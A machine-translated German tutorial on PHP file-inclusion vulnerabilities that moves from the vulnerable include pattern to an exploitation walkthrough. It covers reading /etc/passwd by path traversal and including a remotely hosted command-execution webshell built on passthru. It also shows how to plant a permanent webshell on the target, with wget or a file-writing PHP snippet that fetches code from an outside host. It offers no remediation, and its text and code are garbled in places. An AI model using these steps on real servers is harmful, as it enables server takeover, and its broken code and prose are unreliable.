Fast alle CGI-Programme haben solche Fehler, aber die spezifischen Erscheinungsformen sind unterschiedlich.
1. Gefährliche Funktionen [include(), require() und include_once(), require_once()]
include() && require()-Anweisung: Die angegebene Datei einschließen und ausführen.
Die beiden Strukturen sind bis auf die Art und Weise, wie sie mit Fehlern umgehen, identisch. include() erzeugt eine Warnung und require() verursacht einen schwerwiegenden Fehler. Mit anderen Worten: Verwenden Sie require(), wenn Sie die Verarbeitung der Seite stoppen möchten, wenn eine fehlende Datei gefunden wird. Dies ist bei include() nicht der Fall und das Skript wird weiterhin ausgeführt.
Wenn „allow_url_fopen“ in PHP aktiviert ist (Standardkonfiguration), ist es auch möglich, einzubindende Dateien über URLs (über HTTP oder andere unterstützte Kapselungsprotokolle) anstelle lokaler Dateien anzugeben. Wenn der Zielserver die Zieldatei als PHP-Code interpretiert, können Sie mithilfe der URL-Anforderungszeichenfolge für HTTP GET Variablen an die eingebundene Datei übergeben.
require_once() &&include_once() Die Anweisungen
require_once() und include_once() schließen die angegebene Datei während der Skriptausführung ein und führen sie aus. Dieses Verhalten ähnelt der require()-Anweisung. Der einzige Unterschied besteht darin, dass der Code, wenn er bereits in der Datei enthalten ist, nicht noch einmal eingefügt wird. Es eignet sich für Situationen, in denen dieselbe Datei während der Skriptausführung möglicherweise mehr als einmal eingebunden wird und Sie sicherstellen möchten, dass sie nur einmal eingebunden wird, um Probleme wie Funktionsneudefinition, Variablenneuzuweisung usw. zu vermeiden.
2. Warum Dateien enthalten sein sollten
Wenn Programmierer Programme schreiben, tun sie nicht gerne dasselbe und schreiben auch nicht gerne denselben Code (z. B. einige öffentliche Funktionen). ) mehrmals. Daher wird der Code, der geteilt werden muss, in eine separate Datei geschrieben, z. B. share.php, und dann in andere Dateien eingebunden. In PHP verwenden wir die oben aufgeführten Funktionen, um diesen Zweck zu erreichen: Wenn Sie share.php in main.php einbinden möchten, schreibe ich include("share.php") wie folgt. Der Zweck wird erreicht, und dann Sie können die Funktionen in share.php verwenden. Es gibt kein Problem mit der Hardcodierung des Dateinamens, der einbezogen werden muss, und es gibt keine Lücken. Wo liegt also das Problem?
Manchmal sind Sie möglicherweise nicht sicher, welche Datei eingebunden werden muss. Schauen Sie sich beispielsweise zuerst den Code der folgenden Datei index.php an:
[code]
if ($_GET ) {
include $_GET
} else {
include "home.php";
}
[/code]
Ein ganz normales Stück PHP-Code, wie funktioniert er? Dies betrifft die Bedeutung von $_GET, daher werde ich nicht darauf eingehen (andernfalls kann ich einen weiteren Artikel über HTTP schreiben). Wenn Sie GET, POST usw. nicht verstehen, müssen Sie einige relevante Informationen bei Google suchen bereit dafür. Eine Ergänzung.
1. Senden Sie die obige URL und rufen Sie den Wert dieser Seite ($_GET) in index.php ab.
2. Stellen Sie fest, ob $_GET
leer ist. Wenn nicht (hier ist main.php), verwenden Sie include, um diese Datei einzuschließen.
3. Wenn $_GET
leer ist, führen Sie else aus, um die Datei home.php einzuschließen.
3. Warum tritt die Sicherheitslücke auf?
Sie können Dateien dynamisch entsprechend der URL einbinden ? Die Antwort auf die Frage lautet: Wir sind nicht schlau, wir wollen uns immer von anderen unterscheiden, wir werden seinen Links nicht folgen, wir möchten vielleicht die Dateien schreiben, die wir einschließen (aufrufen), zum Beispiel werden wir sie eingeben Geben Sie beiläufig die folgende URL ein: http://www.jb51.net/php/index.php?page=hello.php. Dann folgt unser Programm index.php törichterweise den oben genannten Schritten: Nehmen Sie die Seite als hello.php und gehen Sie dann zu include(hello.php). Zu diesem Zeitpunkt tritt das Problem auf, weil wir die Datei hello.php nicht haben . , sodass beim Einbinden eine Warnung angezeigt wird, ähnlich der folgenden Information:
Zitat:
Warnung: include(hello.php) [function.include]: Fehler beim Öffnen des Streams: Keine solche Datei oder Verzeichnis in /vhost/php/index.php in Zeile 3
Warnung: include() [function.include]: Fehler beim Öffnen von „hello.php“ für die Aufnahme (include_path='.:') in /vhost/php /index .php in Zeile 3
Beachten Sie, dass die obige Warnung bedeutet, dass die von uns angegebene hello.php-Datei nicht gefunden werden kann, d. h. die Datei enthält nicht den von uns angegebenen Pfad, und die folgende Warnung lautet: Die angegebene Datei wurde zuvor nicht gefunden, daher wird beim Einfügen eine Warnung ausgegeben.
4. Wie man es nutzt
Wie Sie oben sehen können, ist ein Problem aufgetreten. Wie nutzen wir eine solche Sicherheitslücke? Es gibt tatsächlich viele Möglichkeiten, sie zu nutzen, aber sie sind vorhanden Im Wesentlichen das Gleiche. Was ich hier sagen werde:
1. Einschließlich des Lesens anderer Dateien auf dem Zielcomputer
Wie wir oben sehen können, seit der erhaltenen Parameterseite Wenn es nicht gefiltert wird, können wir es beliebig angeben. Andere sensible Dateien auf dem Zielhost. In der vorherigen Warnung können wir beispielsweise den offengelegten absoluten Pfad (vhost/php/) sehen und ihn dann mehrmals erkennen, um andere Dateien einzuschließen Geben Sie beispielsweise die URL als http://www.jb51.net/php/index.php?page=./txt.txt an. Sie können die Datei txt.txt im aktuellen Pfad lesen oder .. / .. verwenden. / um zum Verzeichnis zu springen (ohne Filterung. ./); Sie können auch direkt den absoluten Pfad zum Lesen sensibler Systemdateien angeben, wie zum Beispiel diese URL: http://www.phphtm.com/php/index.php?page =/etc/passwd, wenn das Ziel Wenn der Host keine strengen Berechtigungsbeschränkungen hat oder die Berechtigungen zum Starten von Apache relativ hoch sind, kann der Inhalt dieser Datei gelesen werden. Andernfalls erhalten Sie eine Warnung ähnlich der: open_basedir-Einschränkung in Kraft.
2. Enthält ausführbaren PHP-Trojaner
Wenn die „allow_url_fopen“ des Zielhosts aktiviert ist (die Standardeinstellung ist aktiviert, nur wenige Leute werden sie ändern), können wir einen größeren Raum nutzen, Wir können eine Webshell angeben, die PHP-Code auf anderen URLs enthält, um sie direkt auszuführen. Ich schreibe beispielsweise zuerst einen PHP-Code, um den Befehl auszuführen (mit Kommentaren, es sollte verständlich sein) und speichere ihn als cmd.txt (Suffix: Es funktioniert). egal, solange der Inhalt im PHP-Format vorliegt).
CODE: [In Zwischenablage kopieren]
------------------------------------- --- ----------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //Escape-Zeichen entfernen (kann Backslash-Zeichen in Zeichenfolgen entfernen)
ini_set("max_execution_time",0); //Legen Sie die Ausführungszeit für diese Datei fest.
echo "
1.S.T
" //Drucken Sie die zurückgegebenen Startzeileninformationen aus
passthru($_REQUEST["cmd"]); //Führen Sie den durch cmd angegebenen Befehl aus
echo "
1.S.T
" // Die zurückgegebenen Endzeilen-Promptinformationen drucken
? >
Die Funktion der obigen Datei besteht darin, den von cmd angegebenen Befehl zu akzeptieren, die Durchgangsfunktion zur Ausführung aufzurufen und den Inhalt zwischen 1.S.T. und 1.S.T. zurückzugeben. Speichern Sie diese Datei auf dem Server unseres Hosts (es kann sich um einen Host handeln, der PHP nicht unterstützt). Solange der Zugriff über HTTP möglich ist, lautet die Adresse beispielsweise wie folgt: http://www.phphtm.com /cmd.txt, und dann können wir die folgende URL auf dem anfälligen Host erstellen, um sie auszunutzen: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd .txt?cmd=ls, Was auf cmd folgt, ist der Befehl, den Sie ausführen müssen (am Beispiel von *UNIX) sind wie folgt:
Zitat:
ll Verzeichnisse und Dateien auflisten (entspricht dir unter Windows)
pwd Zeigt den aktuellen absoluten Pfad an
id whoami Zeigt den aktuellen Benutzer an
wget Laden Sie die Datei der angegebenen URL herunter
Warten Sie auf andere , Ihr Gastgeber Gehen Sie zu BAIDU, um sie zu finden, ich werde sie hier nicht auflisten.
Die obige Methode besteht darin, eine Webshell abzurufen (obwohl sich diese PHP-Datei nicht auf dem Zielcomputer befindet, ist es tatsächlich eine Webshell, nicht wahr? Haha)
3. Enthält eine PHP-Datei, die erstellt wird eine Datei
Vielleicht denken einige Leute, dass es sicherer ist, eine echte Webshell auf dem Zielcomputer zu installieren. Wenn eines Tages jemand entdeckt, dass diese einen Schwachstellen-Patch enthält, können wir die oben genannte „gefälschte“ Webshell nicht mehr einbinden. Rechts? ? Diese Mentalität ist verständlich, machen wir weiter. Um eine echte Webshell zu erhalten, sprechen wir auch über zwei gängige Methoden:
1) Verwenden Sie Befehle wie wget, um eine Webshell herunterzuladen
Dies ist relativ einfach und wird oben sehr häufig verwendet In der Pseudo-Webshell, die wir erhalten, können wir Befehle ausführen und dann auch eine sehr mächtige Rolle im System aufrufen. Sie können diesen Befehl wegen seiner Leistungsfähigkeit googeln, was Sie definitiv verwirren wird. haha, wir müssen nicht so kompliziert sein, wir verwenden einfach -O (--output-document=FILE, schreibe das Dokument in die FILE-Datei), haha.
Voraussetzung ist, dass Sie die vorherigen Schritte befolgen und eine Webshell mit PHP-Code an einem Ort platzieren, auf den über HTTP oder FTP zugegriffen werden kann, wie zum Beispiel: http://www.jb51.net/1stphp.txt file Was geschrieben wird, ist der Inhalt der Webshell. Dann führen wir die folgende URL in der zuvor erhaltenen Pseudo-Webshell aus: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt?cmd=wget http ://www.phphtm.com, wenn das aktuelle Verzeichnis beschreibbar ist, können Sie eine Webshell namens 1stphp.php erhalten; wenn das aktuelle Verzeichnis nicht beschreibbar ist, müssen Sie über andere Methoden nachdenken.
2) Verwenden Sie Dateien zum Erstellen
Das vorherige Wget kann auf eine Situation stoßen, in der das aktuelle Verzeichnis nicht geschrieben werden kann oder der Zielhost diesen Befehl deaktiviert (oder nicht installiert) hat, und wir benötigen Um dies zu umgehen, können wir die vorherige Schwachstelle in der Dateieinbindung kombinieren, um ein PHP-Skript einzubinden, das Dateien erstellt (schreibt). Der Inhalt lautet wie folgt:
CODE: [In Zwischenablage kopieren]
---- ------- ------------------------------------------- ------- -------------------
$f=file_get_contents(http://www.phphtm.com); Öffnen Sie den Dateistream des angegebenen Pfads
$ff=fopen("./upload/1st.php","a"); //Suchen Sie ein geeignetes Verzeichnis und erstellen Sie eine Datei
fwrite ($ff,$ f); //Öffne die Vorderseite. Der Dateistream wird in die erstellte Datei geschrieben.
fclose($ff); //Die gespeicherte Datei schließen.
Es wird weiterhin in die PHP-Datei geschrieben Mit wget oben heruntergeladen, aber wir haben die Methode verbessert. Verwenden Sie ein PHP-Skript, um es zu implementieren. Sie können cmd.php?cmd=ll oben verwenden, um ein beschreibbares Verzeichnis zu finden, z. B. hier hochladen, und dann die Datei in diesem Verzeichnis erstellen : ./upload/1st.php. Dann bekommen wir unsere Webshell.
5. Nachworte
Tatsächlich kann ich hier noch ein paar Worte sagen: Die Schwachstellen bei der Dateieinbindung sind grundsätzlich relativ einfach In vielen Systemen gibt es immer noch Schwachstellen. Wenn Sie vorsichtig sind, können Sie viele davon finden. Der Einsatzprozess ist relativ flexibel. Wenn Sie gut darin sind, Probleme zu analysieren und Lösungen zu finden, können Sie langsam Fortschritte machen.
In den Lücken steckt viel Wissen, und wir können nicht alle abdecken. Es gibt keine Erklärung, wo man sie beseitigen kann. Sie können gerne Fragen stellen oder sich an Google wenden, um sie selbst zu beheben. Die Zeit drängt, daher hoffe ich, dass mich jeder korrigiert, wenn die Beschreibung unangemessen ist!
Schließlich erfordert so etwas mehr Übung. Wenn ich Zeit habe, werde ich ein konkretes Beispiel finden, um diesen Prozess durchzugehen, damit jeder jetzt ein tiefes Verständnis dafür haben und sehen kann, was er findet . Sicherheitslücke, ich hoffe, ich kann meinen detaillierteren Analyse- und Ausnutzungsprozess hier mit allen teilen!